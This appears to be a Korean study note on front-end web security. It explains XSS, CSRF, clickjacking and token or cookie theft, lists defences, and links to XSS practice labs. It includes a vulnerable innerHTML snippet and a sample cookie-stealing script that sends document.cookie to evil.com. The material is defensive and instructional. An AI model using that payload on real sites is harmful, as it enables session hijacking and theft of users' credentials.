웹 보안 강화하기 / XSS 실습환경
XSS, CSRF 등 프론트엔드 취약점을 악용한 공격이 증가하고 있다.
콘텐츠 보안 정책(CSP), 쿠키 보안 설정, 정기적인 보안 감사 등의 보안 강화조치가 필요하다.
1. XSS (Cross-Site Scripting)
악성 스크립트가 그대로 실행되어, 브라우저에서 악성 코드가 실행되는 공격.
방법:
innerHTML을 사용하지 않고 textContent, innerText를 사용한다.
2. CSRF (Cross-Site Request Forgery)
사용자가 로그인된 상태에서 악성 사이트가 자동으로 요청을 보내도록 유도한다.
방법:
1) CSRF 토큰을 사용하여 각 요청에만 유효한 토큰을 만들어서 제출 시 검증한다.
2) SameSite 쿠키 설정: 외부 사이트에서 쿠키를 보내지 못하게 한다.
3) Referer 검증: 요청의 출처가 허용된 도메인인지 서버에서 확인한다.
3. Clickjacking
사용자가 투명한 iframe에 가려진 버튼을 클릭하게 유도해서 의도치 않은 동작을 유발한다.
방법:
1) X-Frame-Options: DENY 설정하여 iframe으로 페이지 임베딩 차단
2) Content-Security-Policy: frame-ancestors 'none' 설정
4. JWT 탈취 및 세션 탈취
JWT를 로컬스토리지에 저장하면 XSS로 쉽게 탈취 가능하다.
방법:
1) HttpOnly 쿠키에 JWT 저장
Set-Cookie: accessToken=eyJ...; HttpOnly; Secure; SameSite=Strict2) Access/Refresh Token 분리 전략
짧은 만료시간의 Access Token과 Refresh Token의 분리
3) 토큰 만료 및 재발급 정책: 토큰 탈취 시 피해 최소화
5. 쿠키 탈취
쿠키 자체를 훔쳐서 사용자의 인증 정보를 도용한다.
방법:
httpOnly가 있으면 document.cookie에서 보이지 않고 유출 자체가 원천 차단된다.
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
예시:
// 서버에서 받아온 댓글을 그대로 innerHTML로 렌더링
commentBox.innerHTML = `<p>${comment}</p>`;
// 공격자가 댓글에 이렇게 입력한다.
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
document.cookie에서 수집 될 수 있는 정보는 다음과 같다.
1) document.cookie = "theme=dark"; // 취향 노출
2) document.cookie = "sessionId=abc123";
3) document.cookie = "email=user@example.com"; // ⚠️ 비추천
4) document.cookie = "accessToken=eyJhbGciOiJIUzI1NiIsInR..."; // ⚠️ 매우 위험
1. Google 제공 XSS Game (영문)
🔗 https://xss-game.appspot.com
- 단계별로 다양한 XSS 공격을 실습해볼 수 있어요.
- JS 콘솔을 열고 공격 코드 작성해보는 연습이 가능해요.
2. PortSwigger XSS Lab (영문, 더 전문적)
🔗 https://portswigger.net/web-security/cross-site-scripting
- XSS가 발생하는 다양한 웹 구조 실습
- Stored XSS, Reflected XSS, DOM-based XSS 모두 체험 가능
3. OWASP Juice Shop (로컬 설치형, 한글 가능)
🔗 https://owasp.org/www-project-juice-shop/
- npm install으로 직접 설치 가능
- 일부는 게시판, 상품평에 XSS 공격 가능하게 되어 있음